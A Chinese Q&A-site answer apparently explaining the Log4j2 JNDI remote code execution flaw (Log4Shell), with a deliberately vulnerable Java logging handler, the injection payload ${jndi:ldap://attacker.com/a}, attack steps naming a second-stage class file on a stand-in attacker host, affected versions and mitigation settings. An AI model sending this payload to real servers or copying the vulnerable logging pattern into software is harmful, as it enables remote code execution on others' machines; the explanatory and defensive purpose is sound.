Apache 存在 Log4j 远程代码执行漏洞
链接:https://www.zhihu.com/question/504954921/answer/2265127964
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码,文中有代码,你可以本机试下自己的程序,纯用于自己研究哦。
注意,此漏洞是可以执行任意代码,这就很恐怖,相当于黑客已经攻入计算机,可以为所欲为了,就像已经进入你家,想干什么,就干什么,比如运行什么程序,植入什么病毒,变成他的肉鸡。
漏洞详细描述
Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
攻击原理:
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
* This is basically pseudo-code to explain the vulnerability, and not a full example.
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
string userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
根据上面提供的攻击代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
攻击步骤
- 攻击者向漏洞服务器发起攻击请求。
- 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载
${jndi:ldap://attacker.com/a}
,attacker.com
是攻击者控制的地址。 - 记录的恶意负载被触发,服务器通过JNDI向
attacker.com
请求。 attacker.com
就可以在响应中添加一些恶意的可执行脚本,注入到服务器进程中,例如可执行的字节码http://second-stage.attacker.com/Exploit.class
。- 攻击者执行恶意脚本。
不要小看这个漏洞,下面就是漏洞“攻陷”,比如可以在baidu搜索框里输入特殊格式请求,造成网页劫持,连iCloud、Minecraft 游戏的PaperMC服务器都未能幸免:
受影响版本(看起来是Log4j2才受影响,Log4j 1.2.15以下不受影响):
Apache Log4j 2.x <= 2.14.1
已知受影响的应用程序和组件:
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
据悉,此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为“高危”,且漏洞危害巨大,利用门槛极低。有报道称,目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响,需尽快采取方案阻止。
目前,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
解决方案:
目前,Apache Log4j 已经发布了新版本来修复该漏洞,请受影响的用户将 Apache Log4j2 的所有相关应用程序升级至最新的 Log4j-2.15.0-rc2 版本,同时升级已知受影响的应用程序和组件,如 srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid。
临时修复建议:
JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
安全建议:
据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是那个log4j-core包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。
但是现在网上公开的仓库还下载不到解决漏洞的Log4j2 2.15.0版本,需要自己编译源码获取Jar包(很复杂),我这里有一份,漏洞高危,建议紧急替换: